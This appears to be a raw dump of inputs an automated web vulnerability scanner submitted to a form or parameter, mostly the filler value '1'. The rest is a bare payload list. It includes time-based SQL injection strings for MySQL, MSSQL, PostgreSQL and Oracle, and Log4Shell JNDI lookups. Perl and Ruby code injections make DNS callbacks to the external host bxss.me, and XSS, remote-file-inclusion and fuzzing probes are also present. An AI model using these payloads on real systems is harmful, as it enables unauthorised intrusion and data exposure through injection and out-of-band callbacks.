1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1 OR 2+832-832-1=0+0+0+1 --

-1 OR 3+832-832-1=0+0+0+1 --

-1 OR 3*2

-1 OR 3*2>(0+5+832-832) --

-1 OR 2+298-298-1=0+0+0+1

-1 OR 3+298-298-1=0+0+0+1

-1 OR 3*2

-1 OR 3*2>(0+5+298-298)

-1' OR 2+325-325-1=0+0+0+1 --

-1' OR 3+325-325-1=0+0+0+1 --

-1' OR 3*2

-1' OR 3*2>(0+5+325-325) --

-1' OR 2+550-550-1=0+0+0+1 or 'tmGyBfY8'='

-1' OR 3+550-550-1=0+0+0+1 or 'tmGyBfY8'='

-1' OR 3*2

-1' OR 3*2>(0+5+550-550) or 'tmGyBfY8'='

-1" OR 2+89-89-1=0+0+0+1 --

-1" OR 3+89-89-1=0+0+0+1 --

-1" OR 3*2

-1" OR 3*2>(0+5+89-89) --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

ozxBfZ3i'; waitfor delay '0:0:15' --

-5 OR 341=(SELECT 341 FROM PG_SLEEP(15))--

-5) OR 356=(SELECT 356 FROM PG_SLEEP(15))--

-1)) OR 213=(SELECT 213 FROM PG_SLEEP(15))--

OSWz1uMW' OR 278=(SELECT 278 FROM PG_SLEEP(15))--

7u1fhyf4') OR 831=(SELECT 831 FROM PG_SLEEP(15))--

kXLNLBPI')) OR 962=(SELECT 962 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1????%2527%2522

@@pwIy6

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

QTS378dv

1CQYidfV6YO

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${9999647+9999241}

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1&n994539=v936340

response.write(9243079*9612926)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'+response.write(9243079*9612926)+'

1

1

1

1

1

1

1

1

1

"+response.write(9243079*9612926)+"

1

1

1

1

1

${j${::-n}di:dns${::-:}//hitlpsebarubl1ab4b${::-.}bxss.me}zzzz

1

1

12345'"\'\");|]*{
?''????

1

1

1

1

1

1

1

1

1

1

1

1

1

?????'">

1

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.1618-82656.1618.1b17c${::-.}1${::-.}bxss.me}}

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'.gethostbyname(lc('hitve'.'gdgszrsl584b6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(89).chr(100).chr(86).'

1

1

1

1

1

1

1

".gethostbyname(lc("hitsl"."qwwltjiy9194f.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(86).chr(98).chr(85)."

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

)

1

1

HttP://bxss.me/t/xss.html?%00

1

1

1

1

1

1

1

!(()&&!|*|*|

1

1

1

1

1

^(#$!@#$)(()))******

1

"+"A".concat(70-3).concat(22*4).concat(120).concat(71).concat(98).concat(85)+(require"socket" Socket.gethostbyname("hitsm"+"gvyevvimda200.bxss.me.")[3].to_s)+"

1

1

1

'+'A'.concat(70-3).concat(22*4).concat(109).concat(82).concat(117).concat(75)+(require'socket' Socket.gethostbyname('hitdr'+'qftmnsrp7fec0.bxss.me.')[3].to_s)+'

1

bxss.me/t/xss.html?%00

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1some_inexistent_file_with_long_name.jpg

1

1

'"()

1

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

1

bxss.me

1

1

1

1

1

1

1

1

1

1

1